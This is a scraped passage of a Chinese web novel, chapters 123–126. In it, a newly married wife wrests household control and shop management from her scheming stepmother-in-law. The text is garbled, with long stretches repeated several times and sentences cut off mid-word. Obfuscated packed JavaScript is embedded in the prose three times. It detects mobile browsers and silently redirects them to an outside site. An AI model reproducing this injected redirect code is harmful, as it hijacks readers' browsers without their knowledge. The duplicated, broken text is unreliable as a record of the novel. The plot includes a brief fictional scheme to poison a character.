莫芸婉当即道:“所以我们要趁这次机会,让她丢尽脸面,再不敢在姑母面前放肆。” 莫氏对春喜越是不满,莫芸婉的出谋划策就越会显得重要起来。 莫芸婉一边安慰莫氏,一边吩咐厨房做一碗银耳莲子羹来给莫氏清清火,自己也帮着莫氏按摩着。 不知过了多久,银耳莲子羹送来,门房也来禀报:“夫人,大少夫人回来了。” 终于回来了。 莫氏马上就要把春喜叫进来训话,莫芸婉却把莲子羹往莫氏面前送了送,冷声道:“让她先在外面等着,姑母这会儿不想见她。” 莫氏顿时看莫芸婉顺眼了很多,她这个做婆母的,在新妇面前就是应该这样。 莫氏端起莲子羹准备慢慢品尝,下一刻,一大群人呼啦涌进主院。 那些掌柜见到莫氏就跟见到亲人一样,一个个争先恐后地诉起苦来。 莫氏被吵得脑瓜子嗡嗡的,过了好一会儿终于听明白。 曹春喜一声不吭把她铺子上的掌柜都换了,这是要**啊! 春喜一进来,莫氏就急急的质问出声:“这些掌柜都是对侯府忠心耿耿的老人,你才进门几日,谁给你的胆子竟敢解雇他们?” “夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 沈清渊把萧氏的嫁妆都要了回去,那些死物虽然贵重但不好出手,莫氏就指着这些铺子赚钱呢。 莫芸婉顺势开口:“是啊表嫂,表哥刚刚高升,你还要忙着操持擢升宴的事,哪有精力管理铺子啊。” “你们要我来操持擢升宴?” 春喜有些意外。 沈清渊进了御史台,这次来参加擢升宴的宾客身份都不会低,这是极好的发展人脉的机会,春喜还以为莫氏会牢牢攥在手里,没想到她竟然愿意让给自己。 莫芸婉只觉得春喜是想要借机大出风头,点头道:“姑母病了数日,精力不济,这擢升宴自然应该让嫂嫂操持才是。” 莫氏现在满脑子都是铺子的事,她把话题拉回来:“让你办擢升宴是给你机会露脸,你专心办这一件事就行,铺子的事我自有安排。” 春喜弯眸:“既然母亲连擢升宴都操持不了,这些铺子肯定更无暇打理了,府中事务也很繁杂,母亲不如把掌家权一并交给我吧。” 莫氏:“……” 你怎么不说要天上的星星? 楚。” 这种事宜早不宜迟,几个掌柜对视一眼,当即决定跟着春喜回侯府。 贾嬷嬷本是来寻春喜的,这会儿见春喜带着一大群掌柜往侯府去,心里反倒生出不安来,但春喜并不给她回去报信的机会,好心道:“嬷嬷一路辛苦了,跟我一起坐马车回去吧。” 说完也不等贾嬷嬷拒绝,直接拽着贾嬷嬷坐上马车。“ 主院里,莫氏等了一上午,早就等得着急上火,忍不住跟莫芸婉吐槽:“你看看她眼里哪里有我这个婆母,要是这次擢升宴真让她出尽风头,以后指不定爬到我头上怎么作威作福呢。” 莫芸婉当即道:“所以我们要趁这次机会,让她丢尽脸面,再不敢在姑母面前放肆。” 莫氏对春喜越是不满,莫芸婉的出谋划策就越会显得重要起来。 莫芸婉一边安慰莫氏,一边吩咐厨房做一碗银耳莲子羹来给莫氏清清火,自己也帮着莫氏按摩着。 不知过了多久,银耳莲子羹送来,门房也来禀报:“夫人,大少夫人回来了。” 终于回来了。 莫氏马上就要把春喜叫进来训话,莫芸婉却把莲子羹往莫氏面前送了送,冷声道:“让她先在外面等着,姑母这会儿不想见她。” 莫氏顿时看莫芸婉顺眼了很多,她这个做婆母的,在新妇面前就是应该这样。 莫氏端起莲子羹准备慢慢品尝,下一刻,一大群人呼啦涌进主院。 那些掌柜见到莫氏就跟见到亲人一样,一个个争先恐后地诉起苦来。 莫氏被吵得脑瓜子嗡嗡的,过了好一会儿终于听明白。 曹春喜一声不吭把她铺子上的掌柜都换了,这是要**啊! 春喜一进来,莫氏就急急的质问出声:“这些掌柜都是对侯府忠心耿耿的老人,你才进门几日,谁给你的胆子竟敢解雇他们?” “夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 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“夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 沈清渊把萧氏的嫁妆都要了回去,那些死物虽然贵重但不好出手,莫氏就指着这些铺子赚钱呢。 莫芸婉顺势开口:“是啊表嫂,表哥刚刚高升,你还要忙着操持擢升宴的事,哪有精力管理铺子啊。” “你们要我来操持擢升宴?” 春喜有些意外。 沈清渊进了御史台,这次来参加擢升宴的宾客身份都不会低,这是极好的发展人脉的机会,春喜还以为莫氏会牢牢攥在手里,没想到她竟然愿意让给自己。 莫芸婉只觉得春喜是想要借机大出风头,点头道:“姑母病了数日,精力不济,这擢升宴自然应该让嫂嫂操持才是。” 莫氏现在满脑子都是铺子的事,她把话题拉回来:“让你办擢升宴是给你机会露脸,你专心办这一件事就行,铺子的事我自有安排。” 春喜弯眸:“既然母亲连擢升宴都操持不了,这些铺子肯定更无暇打理了,府中事务也很繁杂,母亲不如把掌家权一并交给我吧。” 莫氏:“……” 你怎么不说要天上的星星? 楚。” 这种事宜早不宜迟,几个掌柜对视一眼,当即决定跟着春喜回侯府。 贾嬷嬷本是来寻春喜的,这会儿见春喜带着一大群掌柜往侯府去,心里反倒生出不安来,但春喜并不给她回去报信的机会,好心道:“嬷嬷一路辛苦了,跟我一起坐马车回去吧。” 说完也不等贾嬷嬷拒绝,直接拽着贾嬷嬷坐上马车。“ 主院里,莫氏等了一上午,早就等得着急上火,忍不住跟莫芸婉吐槽:“你看看她眼里哪里有我这个婆母,要是这次擢升宴真让她出尽风头,以后指不定爬到我头上怎么作威作福呢。” 莫芸婉当即道:“所以我们要趁这次机会,让她丢尽脸面,再不敢在姑母面前放肆。” 莫氏对春喜越是不满,莫芸婉的出谋划策就越会显得重要起来。 莫芸婉一边安慰莫氏,一边吩咐厨房做一碗银耳莲子羹来给莫氏清清火,自己也帮着莫氏按摩着。 不知过了多久,银耳莲子羹送来,门房也来禀报:“夫人,大少夫人回来了。” 终于回来了。 莫氏马上就要把春喜叫进来训话,莫芸婉却把莲子羹往莫氏面前送了送,冷声道:“让她先在外面等着,姑母这会儿不想见她。” 莫氏顿时看莫芸婉顺眼了很多,她这个做婆母的,在新妇面前就是应该这样。 莫氏端起莲子羹准备慢慢品尝,下一刻,一大群人呼啦涌进主院。 那些掌柜见到莫氏就跟见到亲人一样,一个个争先恐后地诉起苦来。 莫氏被吵得脑瓜子嗡嗡的,过了好一会儿终于听明白。 曹春喜一声不吭把她铺子上的掌柜都换了,这是要**啊! 春喜一进来,莫氏就急急的质问出声:“这些掌柜都是对侯府忠心耿耿的老人,你才进门几日,谁给你的胆子竟敢解雇他们?” “夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 沈清渊把萧氏的嫁妆都要了回去,那些死物虽然贵重但不好出手,莫氏就指着这些铺子赚钱呢。 莫芸婉顺势开口:“是啊表嫂,表哥刚刚高升,你还要忙着操持擢升宴的事,哪有精力管理铺子啊。” “你们要我来操持擢升宴?” 春喜有些意外。 沈清渊进了御史台,这次来参加擢升宴的宾客身份都不会低,这是极好的发展人脉的机会,春喜还以为莫氏会牢牢攥在手里,没想到她竟然愿意让给自己。 莫芸婉只觉得春喜是想要借机大出风头,点头道:“姑母病了数日,精力不济,这擢升宴自然应该让嫂嫂操持才是。” 莫氏现在满脑子都是铺子的事,她把话题拉回来:“让你办擢升宴是给你机会露脸,你专心办这一件事就行,铺子的事我自有安排。” 春喜弯眸:“既然母亲连擢升宴都操持不了,这些铺子肯定更无暇打理了,府中事务也很繁杂,母亲不如把掌家权一并交给我吧。” 莫氏:“……” 你怎么不说要天上的星星? 楚。” 这种事宜早不宜迟,几个掌柜对视一眼,当即决定跟着春喜回侯府。 贾嬷嬷本是来寻春喜的,这会儿见春喜带着一大群掌柜往侯府去,心里反倒生出不安来,但春喜并不给她回去报信的机会,好心道:“嬷嬷一路辛苦了,跟我一起坐马车回去吧。” 说完也不等贾嬷嬷拒绝,直接拽着贾嬷嬷坐上马车。“ 主院里,莫氏等了一上午,早就等得着急上火,忍不住跟莫芸婉吐槽:“你看看她眼里哪里有我这个婆母,要是这次擢升宴真让她出尽风头,以后指不定爬到我头上怎么作威作福呢。” 莫芸婉当即道:“所以我们要趁这次机会,让她丢尽脸面,再不敢在姑母面前放肆。” 莫氏对春喜越是不满,莫芸婉的出谋划策就越会显得重要起来。 莫芸婉一边安慰莫氏,一边吩咐厨房做一碗银耳莲子羹来给莫氏清清火,自己也帮着莫氏按摩着。 不知过了多久,银耳莲子羹送来,门房也来禀报:“夫人,大少夫人回来了。” 终于回来了。 莫氏马上就要把春喜叫进来训话,莫芸婉却把莲子羹往莫氏面前送了送,冷声道:“让她先在外面等着,姑母这会儿不想见她。” 莫氏顿时看莫芸婉顺眼了很多,她这个做婆母的,在新妇面前就是应该这样。 莫氏端起莲子羹准备慢慢品尝,下一刻,一大群人呼啦涌进主院。 那些掌柜见到莫氏就跟见到亲人一样,一个个争先恐后地诉起苦来。 莫氏被吵得脑瓜子嗡嗡的,过了好一会儿终于听明白。 曹春喜一声不吭把她铺子上的掌柜都换了,这是要**啊! 春喜一进来,莫氏就急急的质问出声:“这些掌柜都是对侯府忠心耿耿的老人,你才进门几日,谁给你的胆子竟敢解雇他们?” “夫君的亲娘留下的嫁妆里有好些铺子,婚后夫君就把这些铺子交给我打理,在去徐州之前,我就通知铺子里的掌柜把账目交给我过目,但几个月过去了,他们全都当耳旁风,我还以为他们是要把铺子据为己有,原来他们都是母亲的人啊。” 春喜并不害怕莫氏生气,这一番话直接把莫氏想侵占萧氏嫁妆的心思摆到了台面上。 莫氏气得砸了那碗莲子羹:“你少在这里指桑骂槐,你年纪小,出身又不好,怎么管得好铺子,这些掌柜不敢把账簿给你,那也是为了侯府好!” 沈清渊把萧氏的嫁妆都要了回去,那些死物虽然贵重但不好出手,莫氏就指着这些铺子赚钱呢。 莫芸婉顺势开口:“是啊表嫂,表哥刚刚高升,你还要忙着操持擢升宴的事,哪有精力管理铺子啊。” “你们要我来操持擢升宴?” 春喜有些意外。 沈清渊进了御史台,这次来参加擢升宴的宾客身份都不会低,这是极好的发展人脉的机会,春喜还以为莫氏会牢牢攥在手里,没想到她竟然愿意让给自己。 莫芸婉只觉得春喜是想要借机大出风头,点头道:“姑母病了数日,精力不济,这擢升宴自然应该让嫂嫂操持才是。” 莫氏现在满脑子都是铺子的事,她把话题拉回来:“让你办擢升宴是给你机会露脸,你专心办这一件事就行,铺子的事我自有安排。” 春喜弯眸:“既然母亲连擢升宴都操持不了,这些铺子肯定更无暇打理了,府中事务也很繁杂,母亲不如把掌家权一并交给我吧。” 莫氏:“……” 你怎么不说要天上的星星? 第123章 交出掌家权 “你才进府几日就敢开口要掌家权若是出了岔子你负得起这个责吗?” 莫氏大声呵斥同时恶狠狠地剜了莫芸婉一眼。 她就知道这个小**靠不住好端端的让曹春喜办什么擢升宴这下好了人家蹬鼻子上脸连掌家权都一起要了。 以后上上下下谁还把她这个侯府主母放在眼里? 莫芸婉也没想到春喜会来这一出她连忙道:“表哥是侯府嫡长子表嫂身为侯府长媳慢慢接手掌家权是理所应当的但表嫂之前毕竟不曾接触过这些事正好拿这次擢升宴练练手若是擢升宴办得叫人无可挑剔表嫂再来问姑母要掌家之权才不会遭人非议不是吗?” 莫芸婉脸上带着笑语气温温柔柔但这话说的却是含含糊糊。 她只画大饼劝春喜接下擢升宴这个活并没有说到时莫氏一定会把掌家权交出来。 莫氏也听出莫芸婉话里的漏洞附和道:“婉儿说得没错你得先通过擢升宴证明自己的能力才有资格谈下一步的事。” 春喜垂眸露出黯然之色:“母亲近来身体欠佳儿媳主动帮忙打理铺子、索要掌家权也是想为母亲分忧让母亲能安心休养身子但母亲信不过儿媳那这擢升宴还是劳烦母亲亲自操持吧。” 春喜说完起身就走。 莫氏不欲阻拦莫芸婉却开口道:“表嫂等等!” 春喜毫不留恋步子迈得很大几步就蹿到了门外若不是莫芸婉开口快再过一会儿连她的人影都见不着了。 春喜并不跟莫芸婉说话只看向莫氏:“母亲还有事吗?” 莫氏恶狠狠地瞪着莫芸婉。 这擢升宴明明是她们给春喜设置的难题让春喜在众人面前丢丑的现在却莫名其妙成了春喜的筹码 莫芸婉知道莫氏在想什么柔声劝道:“姑母表嫂说得不无道理您最近身子确实很不好表嫂既然觉得有能力打理好侯府的一切你就让表嫂试试万一出了什么纰漏姑母再把掌家权要回来也不迟。” 莫氏不愿冒这个险却又听到莫芸婉说:“表嫂要办擢升宴若无掌家权在手遇到问题难免还是要来烦扰姑母如此岂不是与姑母一开始想要调养身子的初衷相背了?” 莫芸婉这话说的意味深长莫氏立刻反应过来。 她毕竟是侯门主母就算春喜真的办砸了擢升宴她这个婆母多少也要担一 点儿责,若是连掌家权也一并交到春喜手上,到时出了事,就算春喜巧舌如簧,也赖不到她身上。 更何况,这掌家权是春喜自己主动要的,还有这么多人证在,便是沈清渊也无可奈何。 权衡再三,莫氏终于松口:“既然你非要如此,那我就把掌家权给你,但你必须保证擢升宴不能出任何差错,不然到时不仅要交出掌家权,还得把萧氏留下来的那些嫁妆一并还回来!” 不止曹春喜长了嘴会提要求,她也会。 春喜可比莫氏爽快多了,她当即点头:“可以,母亲若是不放心,我还可以立下字据签字画押。” 莫氏当然是不放心的,当场让贾嬷嬷拿来笔墨纸砚,春喜一口气写了两份一模一样的文书,签下自己的名字,按上手印,又对莫氏说:“母亲也签一个吧,我也怕母亲到时反悔不认账。” 虽说莫氏笃定春喜这擢升宴不可能办到十全十美,但真到签字画押的时候,她还是控制不住地心慌。 这个曹春喜邪门儿得很,万一出了什么变故怎么办? 莫氏下意识地看向莫芸婉,莫芸婉柔声劝道:“姑母,没事的,签吧,表嫂都不怕,你怕什么?” 最后一句话刺激到了莫氏。 是啊,她可是堂堂的侯府主母,难道还能怕了一个刚过门的小媳妇不成? 莫氏不再犹豫,签字画押。 春喜收好属于自己那份,笑眯眯地开口:“既然掌家权已经给我了,还请母亲把府库钥匙也交出来,儿媳这就去清点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639806|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府中账目,着手筹办擢升宴。” 莫氏看到春喜这副小人得志的嘴脸就胸口疼,她给贾嬷嬷递了个眼神,让她取来库房钥匙交给春喜。 春喜一走,这群掌柜就闹了起来。 “夫人,当初可是你让我们跟少夫人作对的,现在少夫人把我们都解雇了,你让我们怎么活啊?” “就是啊夫人,你都把掌家权交给少夫人了,也该提前知会我们一声啊。” 一群人吵得莫氏脑仁疼,莫氏没好气地怒吼:“又不是我把你们解雇的,你们跟我吵有什么用?” “可如果不是夫人让我们跟少夫人作对,我们也不会走到今日啊……” 眼看局面不可收拾,莫芸婉站出来说:“诸位别慌,你们虽然被解雇了,但这个月的月钱会照常发放,等过些时日,姑母自然会拿回铺子,再把诸位聘回来。” 听到这个月的月钱会正常发放,众人的情绪稳定了很多,但还是有些怀疑:“少夫人今天带来那些掌柜都是厉害人物,听说是萧家老夫人给她的,据我所知那些铺子也是萧家多年前给侯府先夫人的嫁妆,夫人真的还能把铺子拿回来吗?” “当然可以,诸位放心吧。” 莫芸婉一脸的云淡风轻,众人到底不想跟老东家闹得太难看,思忖一番,便也回家等信了。 毕竟还有一个月的月钱可以拿,就算最后不能被聘回来,也还有时间另找活计。 等这些掌柜的离开,莫氏再也憋不住火骂出声来:“我就知道这个曹春喜不是省油的灯,不过是让她办个擢升宴,她就敢开口跟我要掌家权,这次擢升宴我必要让她脱下一层皮来!” 莫芸婉柔声劝慰:“姑母放心吧,曹春喜如此狂妄自大,不可能办得好擢升宴的。” 莫芸婉说完垂眸,眼底飞快地闪过一抹恨意。 若不是因为这个半路杀出来的曹春喜,沈清渊是她的,这三品大臣的夫人之位也是她的! 第124章 为夫理应好好伺候夫人 第一天到御史台赴任,虽然没什么事做,但交接文书熟悉环境和同僚也花了很多时间,沈清渊回到家已是夜里。 他本以为春喜已经睡下,只是留了灯和饭菜等着自己,谁知还没踏进问心院,就听到了嘈杂的吵闹声。 他眉心一皱,快步走进院中,原本吵吵嚷嚷的众人看到他,顿时变了脸色,连声问好。 沈清渊没有理会,越过众人,径直进屋。 屋里同样也有不少人,贾嬷嬷和侯府几个主要掌事的婆子都在,在这些人的包围之下,春喜坐在桌案前,正认真地翻看盘算着什么。 虽然春喜看着没有什么事,沈清渊还是第一时间走到她身边问:“发生什么事了? 说这话时,沈清渊的目光从屋里众人身上一一扫过,充满审视和警告,生怕她们欺负春喜。 众人:“…… 大少爷,你别用这样的眼神看着我们,这侯府都被少夫人捅破天了,谁敢欺负少夫人呀。 “夫君,你回来啦,春喜从账本子上抬起头来,冲沈清渊露出笑容,“我今日太忙,只让厨房煨着饭菜,夫君还饿着吧,我马上让人送吃的来。 春喜说着站起身,冲外面吩咐了几句,然后扭头说:“母亲今日把掌家权交给我了,我正在核对账目,咱们公账上没什么银子了,阖府上下都得缩减开支才行,所以我把大家召集起来,准备放还一部分人的身契。 之前沈清渊教过春喜,看一些简单的账目她是绰绰有余,但核对侯府这些账目就有些吃力了,直到现在也只看了一半。 沈清渊在春喜的位置坐下,接着看起账目来。 他一看就知道是账房故意拿往年那些没有意义的账本给春喜增加难度,沈清渊一目十行,很快看完一摞账簿,最后在这两年的账簿上把不对劲的地方都圈出来。 侯府这些年支出的大头都在沈清越、沈清宇身上。 两人在云氏族学念书,束脩就要一百两,然后每月都要添置上好的笔墨纸砚,还有零用交际,零零碎碎算起来,一人一年的花销竟然要近万两。 而沈清渊自从在京兆府任职后,开销几乎都是用的自己的俸禄,但公账上记在他身上的开支一年竟然也有好几千两。 沈清渊并没有亲自处理,只是把账簿上不对劲的地方跟春喜说了一下,就坐到一旁吃东西。 春喜两眼放光,对沈清渊的崇拜之情几乎要溢出来。 “夫君,你真是好厉害啊,这么多账簿若是让我看,只怕看到明天早上都 看不完,但夫君唰唰唰几下就看完了,真是火眼金睛啊。 春喜也不急着拿着账簿发落人,殷勤地帮沈清渊捏肩按头。 沈清渊很是受用,弯眸道:“你既要掌家,日后我再多教你一些看账簿的技巧。 “夫君放心,我一定好好学,绝不辜负夫君的期望。 等沈清渊吃完饭去了耳房沐浴,春喜才拿着账簿走到院子里。 莫氏这管家权交得很突然,府里上上下下的人一开始并没有把春喜当回事。 少夫人年纪轻轻,哪懂得管家啊。 但这会儿被春喜指出账目上的漏洞,众人脸色大变,只能跪下求饶:“少夫人,我们以后再也不敢了,求少夫人饶了我们吧,我们上有老下有小,若是被赶出侯府,一大家子都活不了了啊。 春喜并不心软,也不被他们混淆视听,只目标明确地问钱都进了谁的腰包,这么大笔数额,不管是赶出侯府还是送官,把钱要回来都是首要的。 众人面面相觑,没有一个敢吭声。 最初账目上花在沈清渊身上的钱都是真的,但后来发现沈清渊和萧家关系不好,莫氏就偷偷挪用了些,再后来沈清渊有了俸禄,这笔钱就成了莫氏这个继母没有亏待继子的证据。 下面的人发现有机可乘,便也开始虚报账目,从中谋利,如今哪里还说得清? 而且少夫人才刚拿到掌家权,还不知道能威风多久呢,他们怎么敢把莫氏供出来? 众人还是决定装糊涂装可怜,春喜也不跟他们多话,让问心院的护院把几个管事的五花大绑,摁在条凳上打板子。 凄惨的叫声在问心院此起彼伏,剩下的人皆是战战兢兢,谁也没想到刚得到掌家权的少夫人竟是如此的雷厉风行。 管事扛不住打,又不敢供出莫氏,只能认下自己贪墨的部分,并答应想办法把钱还上。 他们愿意还钱,春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我竟没看出来她还有如此手段,贾嬷嬷,你去寻个信得过的大夫,问他要个无色无味的方子,等夺回掌家权后,偷偷下在曹春喜的饭菜里,这个**不能留!” 第125章 大侄女儿,我想死你了 第二日,送到莫氏面前的早饭只有一碗青菜粥和一盘蒸饺。 莫氏自从嫁入侯府,还从来没有吃过如此简单的饭菜,她怒气冲冲地要找春喜算账,还没到问心院,就见春喜款步而来。 走得近些,莫氏看到了春喜头上纯金的连理枝发钗,镂空雕花的和田玉兰花簪子,还有金玉项圈玛瑙镯,每一样都是价值不菲的好东西。 她这个做婆母的只能吃青菜稀饭,做儿媳妇的却穿金带银好不招摇,简直倒反天罡! “曹春喜,我可是你的婆母,你穿成这样,却只给我喝青菜粥,信不信我去京兆府告你不孝?” 莫氏是真的气急,直接喊了春喜的名字。 春喜并不生气,反而一脸无辜:“婆母这话是从何说起,儿媳怎敢不孝,只是婆母尚在病中,饮食应当清淡,我这也是为了婆母的身体着想。” “你放屁,我看你就是故意折腾我,你现在就跟我去京兆府说清楚。” 莫氏说着伸手拉住春喜,这时莫芸婉赶到,她分明看到是莫氏在拉拽春喜,却大声喊道:“表嫂,姑母身体不好,你怎么能动手打她呢?” 莫芸婉说着上前抱住春喜,莫氏见状就要扇春喜两巴掌出气,然而手刚抬起来,莫芸婉就被春喜一脚踹翻。 春喜偏头看向莫氏,眸底一片冷然:“怎么,母亲要打我?” 莫氏的手顿时僵在空中,她底气不足地说:“是你先跟我动手的,大家都看到了。” 莫芸婉更是趴在地上装可怜:“表嫂,你素来彪悍,之前都敢拿菜刀劈老夫人,我和姑母哪敢惹你,如今姑母都把掌家权交到你手上了,你怎么能跟姑母动手呢?” 莫芸婉刚说完,沈清宇就带着人赶到。 见莫芸婉趴在地上,手掌还擦破了点皮,顿时心疼不已:“婉儿,你怎么了,谁伤的你?” “三郎,我没事,你快看看姑母。” 莫芸婉柔柔弱弱地开口,虽然没有直白地指认春喜,却足以让沈清宇把一切都联想到春喜头上。 沈清宇当即冲向春喜,春喜也没躲,而是踢踢腿,活动起手腕来。 沈清宇的肋骨才勉强养好,这几日为了逼莫氏同意他娶莫芸婉,更是连饭都没怎么吃,见春喜这副架势,到嘴边的话不自觉咽了回去,但又怕莫芸婉瞧不起自己,只能放下一句:“你给我等着,等二哥从书院回来,我一定把你在府里的所作所为全告诉二哥,到时有你好看的!” 说完这话,沈清宇抱起莫芸婉大步离开。 眼睁睁地看着儿子只顾美色不顾自己,莫氏又气又心痛,但她身边只有贾嬷嬷,完全不是春喜的对手,只能灰溜溜地离开。 耳边清静下来,春喜收起一身的气势,想到莫芸婉方才那副模样,挑了下眉。 这人一直在侯府这么住下去也不是个事儿,看来她得寻个时间去莫家走一趟了。 心里盘算着,春喜坐上马车出门去了卫家。 云氏知道萧清禾没了孩子需要调养身子,这些日子又重新接掌府中事务,不让人用杂事去打扰萧清禾,卫凌泽去了云山寺,萧清禾一下子清闲下来,闷在凌枫院不出门,肉眼可见地消瘦下去。 听到门房说春喜来找,萧清禾很是意外,她强打起精神,吩咐门房把春喜带到凌枫院来,却听到门房说:“沈少夫人说她就不进来了,她有事想请少夫人帮忙,还请少夫人陪她一起走一遭。” 太傅府那日春喜毕竟是帮萧清禾出的气,虽然萧清禾让人送了一百金做谢礼,但春喜登门求助,这份情她还是要还的。 萧清禾让雀枝帮自己换了身衣裳,简单化了个妆遮盖有些憔悴的脸色,这才走出门去。 “大侄女儿,你可算来了,我可想死你了。” 一见面,春喜就给了萧清禾一个大大的拥抱。 春喜语气轻快,脸上笑容也灿烂,整个人活力满满,像是有使不完的劲儿,萧清禾被她感染,精神好了一点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639808|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 待春喜退开,萧清禾又发现春喜头上身上的饰品有些眼熟,竟都来自萧家。 略加思忖,萧清禾便猜到这是母亲给春喜的谢礼。 雀枝从萧家回来后,她立刻写了一封信回去安慰母亲,让母亲不要担心自己,母亲回信只有寥寥几句,她还以为母亲对自己失望,不愿再管自己,却没想到母亲暗中谢了春喜,用这样委婉的方式爱着她。 萧清禾不觉眼眶发热,雀枝立刻紧张地问:“少夫人,你没事吧?” 萧清禾说不出话来,只能摇头,春喜一把搂住她的肩膀,轻快道:“我大侄女好着呢,能有什么事,今天天气好,我们先去吃东西。” 萧清禾坐的马车比春喜坐的好多了,她一点儿也不见外,硬挤上萧清禾的马车。 萧清禾很快平复了情绪问:“小婶婶突然登门求助,可是遇到了什么难事?” “也不是什么难事,就是我最近从我婆母手中接管了一些铺子,不知道做什么营生比较赚钱,想请大侄女儿帮忙指点一二。” 萧清禾抿了抿唇说:“士农工商,商户一直是最被人看轻的,真正有底蕴的世家大族也不会靠做买卖赚钱,而且如今沈叔叔进了御史台,小婶婶大张旗鼓地做生意对他的影响也不好,最好还是买地或者庄子比较好。” 春喜很是赞同地点头:“大侄女儿说的真是太对了,不过我不知道该怎么选地和庄子,择日不如撞日,不如咱们一起去城外看看?” 春喜很会顺杆往上爬,雀枝皱眉,想要拒绝。 少夫人本就心情不好,能出门已经很给沈少夫人面子了,沈少夫人竟还要小姐帮忙看地和庄子,这是赖上了少夫人不成? “你……” 雀枝刚说了一个字,就被萧清禾打断:“好,我陪小婶婶一起去看。” 萧清禾刚跟春喜离开,行舟就立刻飞鸽传书去了云山寺,云氏也因为这个消息意外不已。 禾儿怎么会跟曹春喜搅和在一起? 第126章 他可以纳妾 傍晚时分,萧清禾才回到卫家。 她的精神比出门时好了很多,眸底隐隐含着笑意,手里拎着一个用草藤编的简易花篮,里面是各种不知名的野花,虽没有府中花匠精心饲养的花种名贵,却别有一股野趣。 看到她,门房立刻迎上来:“少夫人,你回来啦,夫人请你晚上到主院用饭。” 雀枝闻言上前,想拎走花篮,萧清禾避开了她,柔声道:“这个花篮挺漂亮的,我带过去让母亲也瞧瞧。” 萧清禾都觉得好的东西,云氏自然赞不绝口,听闻这个花篮是春喜自己编的,更觉诧异:“没想到她还有这样的手艺,禾儿如今与她的关系倒是挺好的。” 云氏这话意味不明,萧清禾看了眼篮子里的花,温声道:“小婶婶率真活泼,和她相处起来确实很开心,而且祖母和母亲一直都很喜欢沈叔叔,她们都曾嘱咐我要多与小婶婶走动,更重要的是,眼下沈叔叔进了御史台,我与小婶婶走得近些也是应该的。” 沈清渊在京兆府十年未得晋升,一晋升就进了御史台,怎么看日后都大有可为,想要和他打好关系的世家不少,萧清禾与春喜来往,于公于私都无可厚非。 云氏当然也明白这些道理,只是春喜在成为沈少夫人之前,还贴身照顾了泽儿三年,若是萧清禾还深爱卫凌泽,绝不可能像现在这样心无芥蒂地和春喜来往。 除非,她不爱卫凌泽了。 想到这里,云氏叹了口气,拉起萧清禾的手:“禾儿,泽儿最近干的糊涂事我都已经知道了,是他和卫家对不起你,你没有把这件事宣扬出去,娘很感激,你要怎么惩罚泽儿都可以,卫家绝不会有一个人会偏袒他。” 云氏态度明确,完全是站在萧清禾这边的。 萧清禾露出动容的表情:“娘不计较萧家延迟婚礼,还对我这样好,这份恩情我会一直记在心上,以后我也会继续做好卫少夫人,操持好家里,不让娘担心。” 